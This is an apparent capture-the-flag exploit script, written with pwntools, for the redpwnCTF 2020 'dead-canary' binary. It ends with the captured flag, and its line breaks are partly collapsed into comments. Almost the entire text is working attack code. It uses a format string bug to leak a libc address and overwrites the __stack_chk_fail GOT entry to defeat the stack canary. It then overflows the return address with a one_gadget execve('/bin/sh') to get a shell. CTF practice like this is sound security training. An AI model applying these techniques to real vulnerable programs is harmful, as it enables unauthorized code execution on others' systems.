```from pwn import *
elf = ELF("dead-canary")libc = ELF("./libc.so.6")
p = remote("2020.redpwnc.tf", 31744)# p = process("./dead-canary")
# format string bug - leak address in stack# There is a pointer to _IO_stdfile_1_lock structure at stack position 2
# format string bug - write-what-where# Overwrite __stack_chk_fail GOT entry to jump back to main (0x400737)
payload1 = (b"%02$" + str(0x0737 - 7).encode("ascii") + b"p\n").ljust(16) + b"%9$hn   " + p64(elf.got["__stack_chk_fail"]) payload1 += cyclic(0x120 - len(payload1))
p.send(payload1)p.recvuntil("0x")
# magic number is offset to get to base libc address from _IO_stdfile_1_locklibc_base = int(p.recvline().strip(), 16) - 3705408 - libc.sym["printf"]
info("libc base is at %x" % libc_base)
## $ one_gadget libc.so.6 # 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)#one_gadget = 0x4f2c5
# overflow return address with one_gadget value# stack canary will be overwritten again, it will again trigger call to main(), nothing scary.payload2 = cyclic(0x120 - 8) + p64(libc_base+one_gadget)p.send(payload2)
# main is called again. do nothing, don't overflow anything this time..payload3 = "Hello!"p.send(payload3)
p.interactive()
# flag{t0_k1ll_a_canary_4e47da34}```